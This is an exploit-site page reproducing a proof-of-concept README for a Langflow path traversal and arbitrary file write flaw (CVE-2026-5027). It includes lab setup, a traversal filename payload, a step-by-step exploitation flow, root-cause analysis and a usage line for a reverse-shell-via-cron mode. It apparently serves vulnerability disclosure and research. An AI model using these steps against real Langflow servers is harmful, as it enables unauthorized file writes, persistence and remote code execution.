Sploitus

Exploit for Path Traversal in Langflow

githubexploit Β· 2026-08-21

Exploit Code

README138 lines
## https://sploitus.com/exploit?id=5F5FECC6-1644-56DD-AB59-7EC38F6A72BB
This post is a research article published by [EQSTLab](https://github.com/EQSTLab).

**Thanks to [Yahia Hamza](https://yh.do), who reported and analyzed this vulnerability.**

# CVE-2026-5027
β˜… CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC β˜…
![CVE-2026-5027 PoC test](https://github.com/user-attachments/assets/63598259-34e4-491f-81af-8d36db346875)




## Description
CVE-2026-5027 : Langflow Arbitrary File Write Vulnerability

description: A path traversal vulnerability in Langflow 

## Lab Setup
Build and run the vulnerable environment using Docker:

### Build Image
```sh
docker build -t cve-2026-5027 .
```

### Run Container
```sh
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
```



## How to use

### Execute
```sh
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t 

# Reverse shell via cron job
python3 CVE-2026-5027.py -t  --lhost  --lport 4444
```



## Analysis

**Vulnerable Endpoint**
```http
POST /api/v2/files
```

The issue exists because the upload functionality trusts the multipart `filename` value provided by the client. Instead of generating a safe server-side storage name or constraining the resolved path to a dedicated upload directory, the vulnerable code path allows traversal sequences such as `../` to influence the final destination path.

As a result, an attacker can escape the intended storage root and force the application to write files to arbitrary locations on the server filesystem.

A representative exploitation flow is as follows:

1. Obtain an access token through normal login or an auto-login-enabled deployment.
2. Submit a multipart upload request to `/api/v2/files`.
3. Supply a crafted `filename` containing path traversal sequences.
4. Cause Langflow to write attacker-controlled content outside the expected storage directory.

This is fundamentally a **CWE-22: Improper Limitation of a Pathname to a Restricted Directory** issue.

### Technical Root Cause

The security flaw is caused by insufficient sanitization and validation of user-controlled file paths during upload handling. The application accepts the original client filename and passes it into the storage workflow without adequately enforcing path normalization and containment.

From a defensive standpoint, the dangerous pattern is conceptually similar to the following:

```python
save_path = base_dir / file.filename
```

If `file.filename` contains path traversal components such as:

```text
../../../../tmp/poc.txt
```

the final resolved path may point outside `base_dir`, enabling arbitrary file write.

### Why This Matters

Arbitrary file write vulnerabilities are often more severe than standard unrestricted upload issues because the attacker controls not only the file contents, but also the destination path. Depending on the runtime privileges of the Langflow process, this may enable:

- overwrite of application files
- modification of startup or scheduled task files
- persistence through shell initialization or key files
- escalation from arbitrary file write to remote code execution



## Scenario
```
+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Obtain access token
                      | or abuse auto-login
                      v
+-------------------------------------------+
|        Langflow /api/v2/files             |
+-------------------------------------------+
                      |
                      | Crafted multipart filename
                      | (../ directory traversal)
                      v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
                      |
                      | Write to sensitive location
                      v
+-------------------------------------------+
|      Potential Remote Code Execution      |
+-------------------------------------------+
```



## Disclaimer

This repository is not intended to facilitate unauthorized exploitation of Langflow instances. The purpose of this project is to help security researchers, defenders, and developers understand the vulnerability, validate exposure in controlled environments, and apply effective mitigations.



## References

https://www.tenable.com/security/research/tra-2026-26

https://vulners.com/cve/CVE-2026-5027

https://github.com/yahiahamza/CVE-2026-5027

https://github.com/langflow-ai/langflow